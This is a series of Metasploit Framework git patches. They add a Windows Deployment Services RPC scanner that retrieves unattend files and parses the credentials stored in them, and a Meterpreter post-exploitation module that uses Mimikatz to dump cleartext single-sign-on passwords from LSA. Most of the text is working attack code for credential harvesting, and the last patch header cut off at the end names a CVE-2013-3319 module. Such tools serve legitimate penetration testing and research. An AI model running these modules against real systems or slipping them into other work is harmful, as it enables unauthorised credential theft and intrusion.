From 70167ac667b32e8b8e3cc406a469300967d77bb4 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 31 Jan 2013 19:53:37 +0000 Subject: [PATCH 001/409] Repull --- lib/rex/proto/dcerpc/client.rb | 9 +- lib/rex/proto/dcerpc/packet.rb | 10 +- lib/rex/proto/dcerpc/wdscp.rb | 3 + lib/rex/proto/dcerpc/wdscp/constants.rb | 89 +++++++ lib/rex/proto/dcerpc/wdscp/packet.rb | 74 ++++++ .../dcerpc/windows_deployment_services.rb | 221 ++++++++++++++++++ 6 files changed, 402 insertions(+), 4 deletions(-) create mode 100644 lib/rex/proto/dcerpc/wdscp.rb create mode 100644 lib/rex/proto/dcerpc/wdscp/constants.rb create mode 100644 lib/rex/proto/dcerpc/wdscp/packet.rb create mode 100644 modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index 928e5eb4bf..c4aaaa6f3a 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -252,7 +252,14 @@ require 'rex/proto/smb/exceptions' bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) else - bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1]) + if self.handle.uuid.length == 4 + bind, context = Rex::Proto::DCERPC::Packet.make_bind( self.handle.uuid[0], + self.handle.uuid[1], + self.handle.uuid[2], + self.handle.uuid[3]) + else + bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1]) + end end raise 'make_bind failed' if !bind diff --git a/lib/rex/proto/dcerpc/packet.rb b/lib/rex/proto/dcerpc/packet.rb index 463a8a8be7..34aa73de14 100644 --- a/lib/rex/proto/dcerpc/packet.rb +++ b/lib/rex/proto/dcerpc/packet.rb @@ -11,11 +11,15 @@ require 'rex/text' UUID = Rex::Proto::DCERPC::UUID # Create a standard DCERPC BIND request packet - def self.make_bind(uuid, vers) + def self.make_bind(uuid, vers, xfer_syntax_uuid=UUID.xfer_syntax_uuid, xfer_syntax_vers=UUID.xfer_syntax_vers) # Process the version strings ("1.0", 1.0, "1", 1) bind_vers_maj, bind_vers_min = UUID.vers_to_nums(vers) - xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(UUID.xfer_syntax_vers) + xfer_vers_maj, xfer_vers_min = UUID.vers_to_nums(xfer_syntax_vers) + + if UUID.is? xfer_syntax_uuid + xfer_syntax_uuid = UUID.uuid_pack(xfer_syntax_uuid) + end # Create the bind request packet buff = @@ -37,7 +41,7 @@ require 'rex/text' UUID.uuid_pack(uuid), # interface uuid bind_vers_maj, # interface major version bind_vers_min, # interface minor version - UUID.xfer_syntax_uuid, # transfer syntax + xfer_syntax_uuid, # transfer syntax xfer_vers_maj, # syntax major version xfer_vers_min, # syntax minor version ].pack('CCCCNvvVvvVVvvA16vvA16vv') diff --git a/lib/rex/proto/dcerpc/wdscp.rb b/lib/rex/proto/dcerpc/wdscp.rb new file mode 100644 index 0000000000..519f2ffb90 --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- +require 'rex/proto/dcerpc/wdscp/constants' +require 'rex/proto/dcerpc/wdscp/packet' diff --git a/lib/rex/proto/dcerpc/wdscp/constants.rb b/lib/rex/proto/dcerpc/wdscp/constants.rb new file mode 100644 index 0000000000..1df1625a4f --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp/constants.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- +module Rex +module Proto +module DCERPC +module WDSCP +# http://msdn.microsoft.com/en-us/library/dd891406(prot.20).aspx +# http://msdn.microsoft.com/en-us/library/dd541332(prot.20).aspx +# Not all values defined by the spec have been imported... +class Constants + WDSCP_RPC_UUID = "1A927394-352E-4553-AE3F-7CF4AAFCA620" + OS_DEPLOYMENT_GUID = "\x5a\xeb\xde\xd8\xfd\xef\xb2\x43\x99\xfc\x1a\x8a\x59\x21\xc2\x27" + + VAR_NAME_ARCHITECTURE = "ARCHITECTURE" + VAR_NAME_CLIENT_GUID = "CLIENT_GUID" + VAR_NAME_CLIENT_MAC = "CLIENT_MAC" + VAR_NAME_VERSION = "VERSION" + VAR_NAME_MESSAGE_TYPE = "MESSAGE_TYPE" + VAR_NAME_TRANSACTION_ID = "TRANSACTION_ID" + VAR_NAME_FLAGS = "FLAGS" + VAR_NAME_CC = "CC" #Client Capabilities + VAR_NAME_IMDC = "IMDC" + + VAR_TYPE_LOOKUP = { + VAR_NAME_ARCHITECTURE => :ULONG, + VAR_NAME_CLIENT_GUID => :WSTRING, + VAR_NAME_CLIENT_MAC => :WSTRING, + VAR_NAME_VERSION => :ULONG, + VAR_NAME_MESSAGE_TYPE => :ULONG, + VAR_NAME_TRANSACTION_ID => :WSTRING, + VAR_NAME_FLAGS => :ULONG, + VAR_NAME_CC => :ULONG, + VAR_NAME_IMDC => :ULONG + } + + CC_FLAGS = { + :V2 => 1, + :VHDX => 2 + } + + DOMAIN_JOIN_FLAGS = { + :JOIN_DOMAIN => 1, + :ACCOUNT_EXISTS => 2, + :PRESTAGE_USING_MAC => 3, + :RESET_BOOT_PROGRAM => 256 + } + + ARCHITECTURE = { + :X64 => 9, + :X86 => 0, + :IA64 => 6, + :ARM => 5 + } + + PACKET_TYPE = { + :REQUEST => 1, + :REPLY => 2 + } + + OPCODE = { + :IMG_ENUMERATE => 2, + :LOG_INIT => 3, + :LOG_MSG => 4, + :GET_CLIENT_UNATTEND => 5, + :GET_UNATTEND_VARIABLES => 6, + :GET_DOMAIN_JOIN_INFORMATION => 7, + :RESET_BOOT_PROGRAM => 8, + :GET_MACHINE_DRIVER_PACKAGES => 200 + } + + BASE_TYPE = { + :BYTE => 0x0001, + :USHORT => 0x0002, + :ULONG => 0x0004, + :ULONG64 => 0x0008, + :STRING => 0x0010, + :WSTRING => 0x0020, + :BLOB => 0x0040 + } + + TYPE_MODIFIER = { + :NONE => 0x0000, + :ARRAY => 0x1000 + } + +end +end +end +end +end diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb new file mode 100644 index 0000000000..972f0ed2a4 --- /dev/null +++ b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -0,0 +1,74 @@ +# -*- coding: binary -*- +module Rex +module Proto +module DCERPC +module WDSCP +class Packet + + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + + def initialize(packet_type, opcode) + if opcode.nil? || packet_type.nil? + raise(ArgumentError, "Packet arguments cannot be nil") + end + + @variables = [] + @packet_type = WDS_CONST::PACKET_TYPE[packet_type] + @opcode = WDS_CONST::OPCODE[opcode] + end + + def add_var(name, type_mod=0, value_length=nil, array_size=0, value) + padding = 0 + value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] + name = name.encode('UTF-16LE').unpack('H*')[0] + + value_length ||= value.length + + len = 16 * (1 + (value_length/16)) # Variable block total size should be evenly divisible by 16. + @variables << [name, padding, value_type, type_mod, value_length, array_size, value].pack('H132vvvVVa%i' % len) + end + + def create + packet = [] + var_count = @variables.count + + packet_size = 0 + @variables.each do |var| + packet_size += var.length + end + + packet_size += 16 # variables + operation + + # These bytes are not part of the spec but are not part of DCERPC according to Wireshark + # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... + packet << [packet_size+40].pack('Q')*2 + packet << create_endpoint_header(packet_size) + packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) + packet.concat(@variables) + + return packet.join + end + + def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) + return [ packet_size, # PacketSize + 256, # Version + packet_type, # Packet_Type + 0, # Padding + opcode, # Opcode + var_count, # Variable Count + ].pack('VvCCVV') + end + + def create_endpoint_header(packet_size) + return [ 40, # Header_Size + 256, # Version + packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... + WDS_CONST::OS_DEPLOYMENT_GUID, # GUID + "\x00"*16, # Reserved + ].pack('vvVa16a16') + end +end +end +end +end +end diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb new file mode 100644 index 0000000000..18c9026c0f --- /dev/null +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -0,0 +1,221 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex/proto/dcerpc' +require 'rex/proto/dcerpc/wdscp' +require 'rex/parser/unattend' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::DCERPC + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + DCERPCPacket = Rex::Proto::DCERPC::Packet + DCERPCClient = Rex::Proto::DCERPC::Client + DCERPCResponse = Rex::Proto::DCERPC::Response + DCERPCUUID = Rex::Proto::DCERPC::UUID + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', + 'Description' => %q{ + This module retrieves the client unattend file from Windows + Deployment Services RPC service and parses out the stored credentials. + Tested against Windows 2008 R2 + }, + 'Author' => [ 'Ben Campbell ' ], + 'License' => MSF_LICENSE, + 'Version' => '', + 'References' => + [ + [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'] + ], + )) + + register_options( + [ + Opt::RPORT(5040), + ], self.class) + + deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') + + register_advanced_options( + [ + OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false]) + ], self.class) + end + + def run_host(ip) + begin + query_host(ip) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip}:#{rport} error: #{e}") + end + end + + def query_host(rhost) + # Create a handler with our UUID and Transfer Syntax + self.handle = Rex::Proto::DCERPC::Handle.new( + [ + WDS_CONST::WDSCP_RPC_UUID, + '1.0', + '71710533-beba-4937-8319-b5dbef9ccc36', + 1 + ], + 'ncacn_ip_tcp', + rhost, + [datastore['RPORT']] + ) + + print_status("Binding to #{handle} ...") + + self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) + print_good("Bound to #{handle}") + + report_service( + :host => rhost, + :port => datastore['RPORT'], + :proto => 'tcp', + :name => "dcerpc", + :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" + ) + + table = Rex::Ui::Text::Table.new({ + 'Header' => 'Windows Deployment Services', + 'Indent' => 1, + 'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password'] + }) + + creds_found = false + + WDS_CONST::ARCHITECTURE.each do |architecture| + if architecture[0] == :ARM && !datastore['ENUM_ARM'] + vprint_status "Skipping #{architecture[0]} architecture due to adv option" + next + end + + begin + result = request_client_unattend(architecture) + rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e + vprint_error(e.to_s) + print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + return + end + + unless result.nil? + loot_unattend(architecture[0], result) + results = parse_client_unattend(result) + + results.each do |result| + unless result.empty? + unless result['username'].nil? || result['password'].nil? + print_good("Retrived #{result['type']} credentials for #{architecture[0]}") + creds_found = true + domain = "" + domain = result['domain'] if result['domain'] + report_creds(domain, result['username'], result['password']) + table << [architecture[0], result['type'], domain, result['username'], result['password']] + end + end + end + end + end + + if creds_found + print_line + table.print + print_line + else + print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.") + end + end + + def request_client_unattend(architecture) + # Construct WDS Control Protocol Message + packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, + "\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ + "\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ + "\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\ + "\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\ + "\x00\x00") + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\ + "\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\ + "\x00\x00") + packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00") + wdsc_packet = packet.create + + print_status("Sending #{architecture[0]} Client Unattend request ...") + response = dcerpc.call(0, wdsc_packet) + + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + vprint_status('Received response ...') + data = dcerpc.last_response.stub_data + + # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 + op_error_code = data.unpack('i*')[18] + if op_error_code == 0 + if data.length < 277 + vprint_error("No Unattend received for #{architecture[0]} architecture") + return nil + else + vprint_status("Received #{architecture[0]} unattend file ...") + return extract_unattend(data) + end + else + vprint_error("Error code received for #{architecture[0]}: #{op_error_code}") + return nil + end + end + end + + def extract_unattend(data) + start = data.index('')+10 + return data[start..finish] + end + + def parse_client_unattend(data) + begin + xml = REXML::Document.new(data) + + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + end + + return Rex::Parser::Unattend.parse(xml).flatten + end + + def loot_unattend(archi, data) + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") + print_status("Raw version of #{archi} saved as: #{p}") + end + + def report_creds(domain, user, pass) + report_auth_info( + :host => rhost, + :port => 4050, + :sname => 'dcerpc', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) + end +end From e4ff7a2f2ced6f0ae033604176b04107122fa108 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Tue, 9 Apr 2013 21:15:04 +0100 Subject: [PATCH 002/409] Address egypt's feedback --- lib/rex/proto/dcerpc/client.rb | 9 +--- lib/rex/proto/dcerpc/wdscp/packet.rb | 42 ++++++++++++------- .../dcerpc/windows_deployment_services.rb | 20 ++++----- 3 files changed, 37 insertions(+), 34 deletions(-) diff --git a/lib/rex/proto/dcerpc/client.rb b/lib/rex/proto/dcerpc/client.rb index c4aaaa6f3a..a11608e923 100644 --- a/lib/rex/proto/dcerpc/client.rb +++ b/lib/rex/proto/dcerpc/client.rb @@ -252,14 +252,7 @@ require 'rex/proto/smb/exceptions' bind, context = Rex::Proto::DCERPC::Packet.make_bind_fake_multi(*args) else - if self.handle.uuid.length == 4 - bind, context = Rex::Proto::DCERPC::Packet.make_bind( self.handle.uuid[0], - self.handle.uuid[1], - self.handle.uuid[2], - self.handle.uuid[3]) - else - bind, context = Rex::Proto::DCERPC::Packet.make_bind(self.handle.uuid[0], self.handle.uuid[1]) - end + bind, context = Rex::Proto::DCERPC::Packet.make_bind(*self.handle.uuid) end raise 'make_bind failed' if !bind diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb index 972f0ed2a4..7ccdfb60b7 100644 --- a/lib/rex/proto/dcerpc/wdscp/packet.rb +++ b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -20,12 +20,21 @@ class Packet def add_var(name, type_mod=0, value_length=nil, array_size=0, value) padding = 0 value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] - name = name.encode('UTF-16LE').unpack('H*')[0] + name = Rex::Text.to_unicode(name).unpack('H*')[0] value_length ||= value.length - len = 16 * (1 + (value_length/16)) # Variable block total size should be evenly divisible by 16. - @variables << [name, padding, value_type, type_mod, value_length, array_size, value].pack('H132vvvVVa%i' % len) + # Variable block total size should be evenly divisible by 16. + len = 16 * (1 + (value_length/16)) + @variables << + [ name, + padding, + value_type, + type_mod, + value_length, + array_size, + value + ].pack('H132vvvVVa%i' % len) end def create @@ -37,11 +46,12 @@ class Packet packet_size += var.length end - packet_size += 16 # variables + operation + # variables + operation + packet_size += 16 # These bytes are not part of the spec but are not part of DCERPC according to Wireshark # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... - packet << [packet_size+40].pack('Q')*2 + packet << Rex::Text.pack_int64le(packet_size+40)*2 packet << create_endpoint_header(packet_size) packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) packet.concat(@variables) @@ -50,21 +60,21 @@ class Packet end def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) - return [ packet_size, # PacketSize - 256, # Version - packet_type, # Packet_Type - 0, # Padding - opcode, # Opcode - var_count, # Variable Count + return [ packet_size, # PacketSize + 256, # Version + packet_type, # Packet_Type + 0, # Padding + opcode, # Opcode + var_count, # Variable Count ].pack('VvCCVV') end def create_endpoint_header(packet_size) - return [ 40, # Header_Size - 256, # Version - packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... - WDS_CONST::OS_DEPLOYMENT_GUID, # GUID - "\x00"*16, # Reserved + return [ 40, # Header_Size + 256, # Version + packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... + WDS_CONST::OS_DEPLOYMENT_GUID, # GUID + "\x00"*16, # Reserved ].pack('vvVa16a16') end end diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 18c9026c0f..119c44af1a 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -66,16 +66,16 @@ class Metasploit3 < Msf::Auxiliary def query_host(rhost) # Create a handler with our UUID and Transfer Syntax self.handle = Rex::Proto::DCERPC::Handle.new( - [ - WDS_CONST::WDSCP_RPC_UUID, - '1.0', - '71710533-beba-4937-8319-b5dbef9ccc36', - 1 - ], - 'ncacn_ip_tcp', - rhost, - [datastore['RPORT']] - ) + [ + WDS_CONST::WDSCP_RPC_UUID, + '1.0', + '71710533-beba-4937-8319-b5dbef9ccc36', + 1 + ], + 'ncacn_ip_tcp', + rhost, + [datastore['RPORT']] + ) print_status("Binding to #{handle} ...") From 7fb092c58cab65c12ccef319f999ee527d6fd188 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Thu, 2 May 2013 22:08:19 +0100 Subject: [PATCH 003/409] Initial commit --- .../extensions/mimikatz/mimikatz.rb | 8 +- .../ui/console/command_dispatcher/mimikatz.rb | 4 +- .../post/windows/gather/credentials/sso.rb | 108 ++++++++++++++++++ 3 files changed, 116 insertions(+), 4 deletions(-) create mode 100644 modules/post/windows/gather/credentials/sso.rb diff --git a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb index b14d129312..4c35f848f4 100644 --- a/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb +++ b/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb @@ -34,14 +34,18 @@ class Mimikatz < Extension ]) end - def send_custom_command(function, args=[]) + def send_custom_command_raw(function, args=[]) request = Packet.create_request('mimikatz_custom_command') request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function) args.each do |a| request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a) end response = client.send_request(request) - return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT)) + return response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT) + end + + def send_custom_command(function, args=[]) + return Rex::Text.to_ascii(send_custom_command_raw(function, args)) end def parse_creds_result(result) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb index 53235803a4..53d3f4604b 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb @@ -103,10 +103,10 @@ class Console::CommandDispatcher::Mimikatz ) accounts.each do |acc| - table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]] + table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password].gsub("\n","")] end - print_status table.to_s + print_line table.to_s return true end diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb new file mode 100644 index 0000000000..794db54418 --- /dev/null +++ b/modules/post/windows/gather/credentials/sso.rb @@ -0,0 +1,108 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/file' + +class Metasploit3 < Msf::Post + + include Msf::Post::Windows::Priv + include Msf::Post::File + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info(info, + 'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)', + 'Description' => %q{ + This module will collect cleartext Single Sign On credentials from the Local + Security Authority using the Mimikatz extension. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Ben Campbell '], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter' ] + )) + end + + def run + print_status("Running module against #{sysinfo['Computer']}") + if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) + print_error("x64 platform requires x64 meterpreter and mimikatz extension") + return + end + + unless client.mimikatz + vprint_status("Loading mimikatz extension...") + client.core.use("mimikatz") + end + + unless is_system? + vprint_warning("Not running as SYSTEM") + debug = client.mimikatz.send_custom_command("privilege::debug") + if debug =~ /Not all privileges or groups referenced are assigned to the caller/ + print_error("Unable to get Debug privilege") + return + else + vprint_status("Retrieved Debug privilege") + end + end + + vprint_status("Retrieving WDigest") + res = client.mimikatz.wdigest + vprint_status("Retrieving Tspkg") + res.concat client.mimikatz.tspkg + vprint_status("Retrieving Kerberos") + res.concat client.mimikatz.kerberos + vprint_status("Retrieving SSP") + res.concat client.mimikatz.ssp + vprint_status("Retrieving LiveSSP") + livessp = client.mimikatz.livessp + unless livessp.first[:password] =~ /livessp KO/ + res.concat client.mimikatz.livessp + else + vprint_error("LiveSSP credentials not present") + end + + table = Rex::Ui::Text::Table.new( + 'Header' => "Windows SSO Credentials", + 'Indent' => 0, + 'SortIndex' => 0, + 'Columns' => + [ + 'AuthID', 'Package', 'Domain', 'User', 'Password' + ] + ) + + unique_results = res.index_by { |r| "#{r[:authid]}#{r[:password]}" }.values + + unique_results.each do |result| + table << [result[:authid], result[:package], result[:domain], result[:user], result[:password].gsub("\n","")] + end + + print_line table.to_s + end + + def report_creds(domain, user, pass) + if session.db_record + source_id = session.db_record.id + else + source_id = nil + end + + report_auth_info( + :host => session.sock.peerhost, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => source_id, + :source_type => "exploit", + :user => "#{domain}\\#{user}", + :pass => pass + ) + end + +end From 37efad46bb1651a9cf531f5bda5c67d6032faa18 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 12 May 2013 20:50:53 +0100 Subject: [PATCH 004/409] Address feedback and reporting --- .../post/windows/gather/credentials/sso.rb | 30 ++++++++++++++----- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index 794db54418..de53524f13 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -6,12 +6,11 @@ ## require 'msf/core' -require 'msf/core/post/file' +require 'msf/core/post/windows/priv' class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv - include Msf::Post::File include Msf::Auxiliary::Report def initialize(info={}) @@ -19,7 +18,8 @@ class Metasploit3 < Msf::Post 'Name' => 'Windows Single Sign On Credential Collector (Mimikatz)', 'Description' => %q{ This module will collect cleartext Single Sign On credentials from the Local - Security Authority using the Mimikatz extension. + Security Authority using the Mimikatz extension. Blank passwords will not be stored + in the database. }, 'License' => MSF_LICENSE, 'Author' => ['Ben Campbell '], @@ -29,7 +29,12 @@ class Metasploit3 < Msf::Post end def run - print_status("Running module against #{sysinfo['Computer']}") + if sysinfo.nil? + print_error("This module is only available in a windows meterpreter session.") + return + end + print_status("Running module against #{sysinfo['Computer']}") + if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) print_error("x64 platform requires x64 meterpreter and mimikatz extension") return @@ -37,7 +42,12 @@ class Metasploit3 < Msf::Post unless client.mimikatz vprint_status("Loading mimikatz extension...") - client.core.use("mimikatz") + begin + client.core.use("mimikatz") + rescue Errno::ENOENT + print_error("This module is only available in a windows meterpreter session.") + return + end end unless is_system? @@ -77,16 +87,20 @@ class Metasploit3 < Msf::Post ] ) - unique_results = res.index_by { |r| "#{r[:authid]}#{r[:password]}" }.values + unique_results = res.index_by { |r| "#{r[:authid]}#{r[:user]}#{r[:password]}" }.values unique_results.each do |result| - table << [result[:authid], result[:package], result[:domain], result[:user], result[:password].gsub("\n","")] + pass = result[:password].gsub("\n","") + table << [result[:authid], result[:package], result[:domain], result[:user], pass] + report_creds(result[:domain], result[:user], pass) end print_line table.to_s end def report_creds(domain, user, pass) + return if (user.empty? or pass.empty?) + if session.db_record source_id = session.db_record.id else @@ -94,7 +108,7 @@ class Metasploit3 < Msf::Post end report_auth_info( - :host => session.sock.peerhost, + :host => session.session_host, :port => 445, :sname => 'smb', :proto => 'tcp', From b10d216db2db73f30a3908d2ecca3eec52fb2da9 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 12 May 2013 21:06:26 +0100 Subject: [PATCH 005/409] Fix indent --- modules/post/windows/gather/credentials/sso.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index de53524f13..c80be4106f 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -33,7 +33,8 @@ class Metasploit3 < Msf::Post print_error("This module is only available in a windows meterpreter session.") return end - print_status("Running module against #{sysinfo['Computer']}") + + print_status("Running module against #{sysinfo['Computer']}") if (client.platform =~ /x86/) and (client.sys.config.sysinfo['Architecture'] =~ /x64/) print_error("x64 platform requires x64 meterpreter and mimikatz extension") From a96739951b33d351fead1492fb247dd1774320cf Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 18 May 2013 16:18:34 +0100 Subject: [PATCH 006/409] Filter out system users --- .../post/windows/gather/credentials/sso.rb | 25 ++++++++++++++++--- 1 file changed, 22 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index c80be4106f..e72f1c094c 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -91,9 +91,9 @@ class Metasploit3 < Msf::Post unique_results = res.index_by { |r| "#{r[:authid]}#{r[:user]}#{r[:password]}" }.values unique_results.each do |result| - pass = result[:password].gsub("\n","") - table << [result[:authid], result[:package], result[:domain], result[:user], pass] - report_creds(result[:domain], result[:user], pass) + next if is_system_user? result[:user] + table << [result[:authid], result[:package], result[:domain], result[:user], result[:password]] + report_creds(result[:domain], result[:user], result[:password]) end print_line table.to_s @@ -120,4 +120,23 @@ class Metasploit3 < Msf::Post ) end + def is_system_user?(user) + system_users = [ + /^$/, + /^DWM-\d$/, + /^ASPNET$/, + /^ASP\.NET V2\.0 Integrated$/, + /^ANONYMOUS LOGON$/, /^IUSR.*/, + /^IWAM.*/, + /^IIS_WPG$/, + /.*\$$/, + /^LOCAL SERVICE$/, + /^NETWORK SERVICE$/, + /^LOCAL SYSTEM$/ + ] + + return system_users.find{|r| user.match(r)} + end + end + From a96efb5f0dc31469cc3149b510d03da5db8e8c12 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 18 May 2013 16:21:00 +0100 Subject: [PATCH 007/409] Small tidy --- modules/post/windows/gather/credentials/sso.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index e72f1c094c..b1430aae2e 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -126,7 +126,8 @@ class Metasploit3 < Msf::Post /^DWM-\d$/, /^ASPNET$/, /^ASP\.NET V2\.0 Integrated$/, - /^ANONYMOUS LOGON$/, /^IUSR.*/, + /^ANONYMOUS LOGON$/, + /^IUSR.*/, /^IWAM.*/, /^IIS_WPG$/, /.*\$$/, From acb236006c76282e6adc0b6e192c8227156464ab Mon Sep 17 00:00:00 2001 From: Bruno Morisson Date: Mon, 22 Jul 2013 18:36:38 +0100 Subject: [PATCH 008/409] metasploit module for CVE-2013-3319 / SAP Security Note 1816536 Note: only tested on SAP running on Windows, but should equally work on vulnerable linux/*nix versions. --- 